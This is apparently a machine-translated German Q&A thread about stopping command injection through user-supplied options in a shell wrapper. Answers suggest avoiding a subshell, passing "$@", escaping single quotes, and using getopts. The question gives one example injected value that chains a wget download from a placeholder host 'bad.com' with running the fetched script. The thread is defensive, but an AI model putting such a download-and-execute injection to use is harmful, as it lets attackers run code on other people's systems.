Wie verhindert man die Befehlsinjektion durch Befehlsoptionen?

13

Ich habe eine Wrapper-Anwendung, in der der Benutzer benutzerdefinierte Optionen angeben muss, die an einen Simulator übergeben werden sollen. Ich möchte jedoch sicherstellen, dass der Benutzer keine anderen Befehle über die Benutzeroptionen eingibt. Was ist der beste Weg, um dies zu erreichen?

Beispielsweise.

  • Benutzer bietet: -a -b
  • Anwendung führt aus: mysim --preset_opt -a -b

Ich möchte jedoch nicht, dass dies passiert:

  • Benutzer bietet: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Anwendung führt aus: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Derzeit denke ich, dass ich einfach jede von Benutzern bereitgestellte Option mit einfachen Anführungszeichen umgeben 'und alle von Benutzern bereitgestellten einfachen Anführungszeichen entfernen könnte, so dass der Befehl im letzten Beispiel harmlos wird:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Hinweis: Der mysimBefehl wird als Teil eines Shell-Skripts in einem Docker / LXC-Container ausgeführt. Ich lasse Ubuntu laufen.

Victor Lyuboslavsky
quelle
Verwenden Sie eval, um die Anwendung auszuführen? Wenn nicht, sollte die Injektion nicht passieren:x="&& echo Doomed" ; echo $x
Choroba
1
Nein, ich benutze nicht eval. Ich rufe die ausführbare Datei mysimin einem Shell-Skript auf. Ich sehe die Injektion, wenn ich einfach die Zeichenfolge der vom Benutzer bereitgestellten Optionen kopiere und am Ende des mysimBefehls einfüge.
Victor Lyuboslavsky
Kopiert die Wrapper-Anwendung die Zeichenfolge der Optionen und fügt sie ein?
Choroba
Ja, die Benutzeroptionen werden beispielsweise als einzelne Zeichenfolge eingegeben -a -b. Daher möchte ich sicherstellen, dass keine zusätzlichen Befehle in diese Zeichenfolge eingefügt werden.
Victor Lyuboslavsky
1
Können Sie eine Whitelist erstellen? Nur Charaktere zuzulassen [a-zA-Z0-9 _-]sieht nach einer ziemlich defensiven Wahl aus.
Ulrich Schwarz

Antworten:

6

Wenn Sie die Kontrolle über das Wrapper-Programm haben, stellen Sie sicher, dass es keine Subshell aufruft. Im Grunde besteht eine Anweisung zum Ausführen eines Programms aus dem vollständigen Pfad (absolut oder relativ zum aktuellen Verzeichnis) zur ausführbaren Datei und einer Liste von Zeichenfolgen, die als Argumente übergeben werden sollen. PATH-Lookup, Leerzeichen zwischen Argumenten, Anführungszeichen und Steueroperatoren werden von der Shell bereitgestellt. Keine Muschel, kein Schmerz.

Verwenden Sie beispielsweise mit einem Perl-Wrapper die Listenform von execoder system. Rufen Sie in vielen Sprachen eine der Funktionen execoder execXXX(oder wie auch unix.execimmer sie genannt werden) auf und nicht systemoder os.spawnmit shell=Falseoder wie auch immer.

Wenn es sich bei dem Wrapper um ein Shell-Skript handelt, "$@"übergeben Sie die Argumente mit, z

#!/bin/sh
mysim -preset-opt "$@"

Wenn Sie keine andere Wahl haben und das Wrapper-Programm eine Shell aufruft, müssen Sie die Argumente in Anführungszeichen setzen, bevor Sie sie an die Shell übergeben. Die einfache Möglichkeit, Argumente zu zitieren, besteht darin, Folgendes zu tun:

  1. Ersetzen Sie in jedem Argument jedes Vorkommen von '(einfaches Anführungszeichen) durch die vierstellige Zeichenfolge '\''. (zB don'twird don'\''t)
  2. Fügen Sie 'am Anfang jedes Arguments und auch am Ende jedes Arguments hinzu. (zB aus don't, don'\''twird 'don'\''t')
  3. Verketten Sie die Ergebnisse mit einem Leerzeichen dazwischen.

Wenn Sie dies in einem Shell-Wrapper tun müssen, finden Sie hier eine Möglichkeit.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Leider ${VAR//PATTERN/REPLACEMENT}erfordert Bashs Konstrukt, das hier nützlich sein sollte, ein eigenwilliges Zitieren, und ich glaube nicht, dass Sie es '\''als Ersatztext erhalten können.)

Gilles 'SO - hör auf böse zu sein'
quelle
1

Sie können das Bash- ${VAR//PATTERN/REPLACEMENT}Idiom verwenden, um ein einzelnes Anführungszeichen 'in umzuwandeln, '\''indem Sie zuerst '\''eine Variable (als Zwischenschritt) einfügen und diese Variable dann als REPLACEMENTElement im erwähnten Bash-Idiom erweitern.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
yalo
quelle
0

Sie können verwenden, getoptsin bashdenen Sie die Argumente analysieren können, zB:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Kenorb
quelle